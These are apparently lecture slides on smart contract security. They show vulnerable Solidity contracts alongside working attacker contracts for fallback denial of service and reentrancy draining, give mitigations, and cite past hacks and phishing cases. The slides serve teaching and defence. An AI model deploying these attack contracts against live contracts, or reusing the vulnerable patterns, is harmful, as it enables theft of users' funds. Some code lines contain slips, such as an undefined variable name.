Smart Contract Security

Thierry Sans

Beyond what we have see so far

Access Control

Incorrectly configured permissions allow unauthorized users to access privileged functions

Frontrunning

Attacker can observe transactions in the mempool and can use their payloads and/or race to exploit them

Other Vulnerabilities and Attacks

Other Vulnerabilities

Fallback DOS

Reentrency (DAO hack)

Bad Delegate Call (Parity Wallet Hack)

Origin vs Sender

Timestamp-based Randomness

Fallback DOS - the vulnerability

```
function bid() payable public  acceptingBids {
    require(msg.value <= highestBid)
    if (currentLeader != address(0)){
        require(currentLeader.call{value:highestBid}());
    }
    currentLeader = msg.sender;
    highestBid = msg.value;
}
```

Assuming the contract has enough funds, the transfer succeed:

- when the recipient is an EOA account
- when the recipient is a smart contract **and its `receive` (or `fallback`) function does not revert**

Fallback DOS - The Attack

```
contract attacker {

    auction victim;

    constructor(address addr){
        victim = auction(addr);
    }

    function attack() payable public {
        auc.bid{value: msg.value}();
    }

    fallback() external payable {
        revert();
    }

}
```

The bid is placed through the contract

This will make the transaction to fail (DOS) and no one else can place a higher bid

Reentrancy - The Vulnerability

```sol
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "hardhat/console.sol";

contract Bank {

    mapping(address=>uint256) public userBalances;

    constructor(){}

    function deposit() public payable {
        userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
    }

    function balance() public view returns(uint256){
        return userBalances[msg.sender];
    }

    function withdraw() public {
        uint amount = userBalances[msg.sender];
        (bool sent,) = msg.sender.call{value:amount}("");
        require(sent, "Failed to withdraw balance");
        userBalances[msg.sender] = 0;
    }
}
```

The transfer is called before the balance is updated

Reentrancy - The Attack

```
1  //SPDX-License-Identifier: Unlicense
2  pragma solidity ^0.8.0;
3
4  import "./Victim.sol";
5
6  contract BankAttack {
7
8      Bank public victim;
9
10     constructor(address addr){
11         victim = Bank(addr);
12     }
13
14     function deposit() payable public{
15         victim.deposit{value: msg.value}();
16     }
17
18     function balance() public view returns(uint256){
19         return victim.balance();
20     }
21
22     function withdraw() public {
23         victim.withdraw();
24     }
25
26     receive() external payable {
27         if (address(victim).balance >= victim.balance()){
28             victim.withdraw();
29         }
30     }
31
32 }
```

Money is deposited and withdrawn through the contract

Calls withdraw again when the money is received (until draining all funds)

Famous Reentrancy Hacks

The DAO Hack (~$60M in 2016)
A recursive reentrancy call drained ETH before the balance was updated

Harvest Finance (~$34M in 2020)
Flash loans plus reentrancy in the price oracle manipulation led to draining assets from vaults

Reentrancy solution

➡ Use Open Zeppelin Reentrancy Guard contract

Delegate Call

`delegatecall` function is often used with libraries

- But it is often misunderstood

In a nutshell, allows one contract to call another contract and run its code **within the context of the calling contract ...**

... but important details often not known
the storage layout (i.e order of variables) **must** be the same for the contract calling `delegatecall` and the contract getting called

Famous Bad Delegate Call Hack

Parity Wallet (~$30M n 2017)

`delegatecall` to an uninitialized wallet library let attackers claim ownership

https://blog.openzeppelin.com/parity-wallet-hack-reloaded

Bad Delegate Call Solution

Avoid using libraries that update caller context (effect)

➡ Instead only use "pure" libraries with **`staticcall`**

`origin` vs `sender`

`tx.origin`
the EOA address that initiated the transaction

`msg.sender`
the address of the function caller

- They are not always equal since smart contracts can call other smart contracts

Timestamp-based Randomness

Problem : there is no function **`random`** in solidity

- **Bad solution** : use block.timestamp or block.blockhash as a source of randomness (that can be manipulated by the validator)

- ✓ **Good solution** : use an random oracle e.g. *Chainlink VRF* (Verifiable Random Function)

Beyond Smart Contract Vulnerabilities

Hacking humans i.e phishing

Hackers Nab $8M in Ethereum via Uniswap Phishing Attack

After gaining access to Uniswap LPs via a malicious airdrop contract, hackers stole more than 7,500 in Ethereum.

By Sujith Somraaj

Jul 12, 2022

3 min read

JESSE COGHLAN

OCT 27, 2023

Scammers create Blockworks clone site to drain crypto wallets

Phishing scammers have been spreading fake news of a $37-million Uniswap exploit using a convincing fake Blockworks website.